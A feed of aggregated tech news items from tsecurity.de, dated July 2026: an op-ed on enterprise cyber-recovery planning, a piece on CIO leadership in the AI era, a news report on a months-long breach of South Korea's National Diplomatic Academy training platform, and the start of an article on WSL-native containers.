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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[Hackers Lurked for 10 Months Inside South Korea Diplomatic System]]></title>
<description><![CDATA[The National Diplomatic Academy data breach has raised significant cybersecurity concerns in South Korea after the Ministry of Foreign Affairs confirmed that hackers maintained access to the academy's online education system for nearly 10 months. The cyberattack resulted in the exposure of person...]]></description>
<link>https://tsecurity.de/de/3688479/it-security-nachrichten/hackers-lurked-for-10-months-inside-south-korea-diplomatic-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688479/it-security-nachrichten/hackers-lurked-for-10-months-inside-south-korea-diplomatic-system/</guid>
<pubDate>Thu, 23 Jul 2026 11:13:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1221" height="766" src="https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="National Diplomatic Academy data breach" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach.webp 1221w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-300x188.webp 300w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-1024x642.webp 1024w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-768x482.webp 768w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-600x376.webp 600w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-150x94.webp 150w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-750x471.webp 750w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-1140x715.webp 1140w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach.webp 1221w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-300x188.webp 300w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-1024x642.webp 1024w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-768x482.webp 768w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-600x376.webp 600w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-150x94.webp 150w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-750x471.webp 750w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-1140x715.webp 1140w" sizes="(max-width: 1221px) 100vw, 1221px" title="Hackers Lurked for 10 Months Inside South Korea Diplomatic System 1"></p><span data-contrast="auto">The National Diplomatic Academy data breach has raised significant cybersecurity concerns in South Korea after the Ministry of Foreign Affairs confirmed that hackers maintained access to the academy's online education system for nearly 10 months. The cyberattack resulted in the exposure of personal information belonging to current and former ministry employees, including diplomats serving overseas.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">According to the Ministry of Foreign Affairs, the attackers exploited a <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29097">vulnerability</a> in the National Diplomatic Academy's online education platform in April 2025. The compromise remained active until February 2026, allowing unauthorized access to <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29098">data</a> linked to thousands of individuals before the incident was eventually discovered and contained.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">National Diplomatic Academy Data Breach Remained Active for Nearly 10 Months</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The National Diplomatic Academy data breach began in April 2025 after an unidentified <a href="https://thecyberexpress.com/irhythm-data-breach/" target="_blank" rel="noopener">threat actor</a> exploited a security flaw in the academy's <a href="https://thecyberexpress.com/india-online-safety-rules-tighten/" target="_blank" rel="noopener">online education system</a>. The platform, which was introduced in 2022 to support remote learning during the COVID-19 pandemic, has since been used for government employee training and video conferencing.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">According to the Ministry of Foreign Affairs, personal information was exposed between April 2025 and February 2026.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">In an <a href="https://www.mofa.go.kr/www/brd/m_4075/view.do?seq=369430" target="_blank" rel="nofollow noopener">official announcement</a>, the ministry stated:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">There was an unidentified attack exploiting a <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29096">security</a> vulnerability targeting the Korea National Diplomatic Academy's online education system, and it has been confirmed that personal information of former and current employees of the Ministry of Foreign Affairs headquarters and overseas missions, as well as other personnel, was leaked from April 2025 to February 2026."</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">The ministry said the attack affected current and former employees at its headquarters, overseas missions, and other personnel connected to the <a href="https://thecyberexpress.com/india-online-safety-rules-tighten/" target="_blank" rel="noopener">online education system</a>.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Thousands Impacted in South Korea Foreign Ministry Data Breach</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The National Diplomatic Academy <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29099">data breach</a> is estimated to have impacted at least 6,000 individuals, including approximately 350 government attachés currently stationed abroad. However, reports from <a href="https://www.donga.com/news/Politics/article/all/20260721/134332677/2" target="_blank" rel="nofollow noopener">Korean media</a> suggest the number of affected individuals could be as high as 10,000, while other reports indicate lower figures.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">In addition to personal information, local media reported that official job titles and departmental affiliations may also have been exposed during the incident.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">The Ministry of Foreign Affairs has not confirmed the higher estimates but acknowledged that the breach affected a substantial number of current and former personnel associated with the diplomatic service.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">What Information was Exposed?</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">According to the Ministry of Foreign Affairs, the information compromised during the National Diplomatic Academy data breach included:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<ul>
 	<li><span data-contrast="auto">User IDs</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Names</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Email addresses</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Encrypted passwords</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
</ul>
<span data-contrast="auto">The ministry emphasized that several categories of sensitive information were not exposed.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">Its official notice stated:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">"The personal information items involved in the leak include the ID, name, email, and encrypted password of the trainee in the Korea National Diplomatic Academy's online education system."</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">The notice further clarified:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">"Unique identification information, sensitive information, mobile phone numbers, home addresses, and photos were not included."</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">This means national identification numbers, photographs, residential addresses, phone numbers, and other <a href="https://thecyberexpress.com/university-of-warsaw-cyberattack/" target="_blank" rel="noopener">sensitive personal data</a> were not part of the compromised dataset, according to the ministry.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>]]></content:encoded>
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<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



